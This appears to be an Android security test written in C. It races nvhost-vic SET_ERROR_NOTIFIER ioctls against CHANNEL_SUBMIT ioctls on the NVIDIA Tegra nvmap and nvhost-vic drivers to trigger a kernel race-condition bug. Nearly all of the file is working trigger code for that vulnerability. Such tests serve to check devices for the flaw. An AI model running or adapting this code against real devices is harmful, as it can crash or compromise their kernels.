1 /* 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 #include <string.h> 18 #include <stdio.h> 19 #include <stdlib.h> 20 #include <pthread.h> 21 #include <sys/ioctl.h> 22 #include <sys/mman.h> 23 #include <errno.h> 24 #include <sys/stat.h> 25 #include <fcntl.h> 26 #include <sched.h> 27 #include <sys/types.h> 28 #include <signal.h> 29 #include <unistd.h> 30 // for syscall 31 #include <sys/syscall.h> 32 // for futex 33 #include <linux/futex.h> 34 #include <sys/time.h> 35 36 #define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__) 37 #define ERR(fmt, ...) printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno) 38 #define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0])) 39 40 #define NVMAP_IOC_MAGIC 'N' 41 struct nvmap_create_handle { 42 union { 43 __u32 id; /* FromId */ 44 __u32 size; /* CreateHandle */ 45 __s32 fd; /* DmaBufFd or FromFd */ 46 }; 47 __u32 handle; /* returns nvmap handle */ 48 }; 49 #define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle) 50 51 #define NVHOST_IOCTL_MAGIC 'H' 52 struct nvhost_set_error_notifier { 53 __u64 offset; 54 __u64 size; 55 __u32 mem; 56 __u32 padding; 57 }; 58 #define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER \ 59 _IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier) 60 61 struct nvmap_alloc_handle { 62 __u32 handle; /* nvmap handle */ 63 __u32 heap_mask; /* heaps to allocate from */ 64 __u32 flags; /* wb/wc/uc/iwb etc. */ 65 __u32 align; /* min alignment necessary */ 66 }; 67 #define NVMAP_IOC_ALLOC _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle) 68 69 static int set_affinity(int num) 70 { 71 int ret = 0; 72 cpu_set_t mask; 73 CPU_ZERO(&mask); 74 CPU_SET(num, &mask); 75 ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask); 76 if(ret == -1){ 77 printf("[-] set affinity failed: [%d]-%d\n", errno, errno); 78 } 79 return ret; 80 } 81 82 struct nvhost_submit_args { 83 __u32 submit_version; 84 __u32 num_syncpt_incrs; 85 __u32 num_cmdbufs; 86 __u32 num_relocs; 87 __u32 num_waitchks; 88 __u32 timeout; 89 __u32 flags; 90 __u32 fence; /* Return value */ 91 __u64 syncpt_incrs; 92 __u64 cmdbuf_exts; 93 94 __u64 pad[3]; /* future expansion */ 95 96 __u64 cmdbufs; 97 __u64 relocs; 98 __u64 reloc_shifts; 99 __u64 waitchks; 100 __u64 waitbases; 101 __u64 class_ids; 102 __u64 fences; 103 }; 104 #define NVHOST_IOCTL_CHANNEL_SUBMIT \ 105 _IOWR(NVHOST_IOCTL_MAGIC, 26, struct nvhost_submit_args) 106 107 struct nvhost_syncpt_incr { 108 __u32 syncpt_id; 109 __u32 syncpt_incrs; 110 }; 111 112 #define CLOSE_THREAD_NUM 1 113 #define TRY_TIMES 2 114 #define NVMAPDEV "/dev/nvmap" 115 #define VICDEV "/dev/nvhost-vic" 116 #define SYNC_NUM 1 117 struct nvhost_set_error_notifier err1 = { 0 }, err2 = { 0 }; 118 pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 }; 119 int nvmap, vic; 120 volatile int attack; 121 void* close_thread(void* no_use) 122 { 123 int ret; 124 set_affinity(1); 125 126 while(attack){ 127 ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER, &err1); 128 } 129 130 return NULL; 131 } 132 133 int main() 134 { 135 int i, j, ret; 136 int dma1, dma2; 137 struct nvmap_create_handle args = { 138 .size = PAGE_SIZE 139 }; 140 struct nvmap_alloc_handle alloc = { 141 .heap_mask = 0xFFFFFFFF 142 }; 143 144 struct nvhost_syncpt_incr incr[SYNC_NUM]; 145 146 struct nvhost_submit_args submit = { 147 .num_syncpt_incrs = SYNC_NUM, 148 .syncpt_incrs = (intptr_t)incr, 149 .timeout = 1, 150 //.class_ids = (intptr_t)&ret 151 }; 152 153 memset(incr, 0, sizeof(incr)); 154 incr[0].syncpt_id = 6; 155 156 /* bind_cpu */ 157 set_affinity(0); 158 159 nvmap = open(NVMAPDEV, O_RDONLY); 160 if(nvmap == -1) 161 ERR("[-] open %s failed", NVMAPDEV); 162 else 163 LOG("[+] open %s OK", NVMAPDEV); 164 165 vic = open(VICDEV, O_RDONLY); 166 if(vic == -1) 167 ERR("[-] open %s failed", VICDEV); 168 else 169 LOG("[+] open %s OK", VICDEV); 170 171 // prepare 172 ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args); 173 if(ret) 174 ERR("[-] ioctl NVMAP_IOC_CREATE failed"); 175 else 176 LOG("[+] NVMAP_IOC_CREATE succeeded, fd = %d", args.handle); 177 178 dma1 = args.handle; 179 err1.mem = dma1; 180 alloc.handle = dma1; 181 182 ret = ioctl(nvmap, NVMAP_IOC_ALLOC, &alloc); 183 if(ret) 184 ERR("[-] ioctl NVMAP_IOC_ALLOC failed"); 185 else 186 LOG("[+] NVMAP_IOC_ALLOC succeeded"); 187 188 /* create close thread */ 189 attack = 1; 190 for(i = 0; i < CLOSE_THREAD_NUM; i++){ 191 ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL); 192 } 193 LOG("[+] running..."); 194 while(1) { 195 ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SUBMIT, &submit); 196 } 197 198 LOG("[-] passed :("); 199 attack = 0; 200 for(i = 0; i < CLOSE_THREAD_NUM; i++) { 201 pthread_join(close_thread_id[i], NULL); 202 } 203 204 return 0; 205 } 206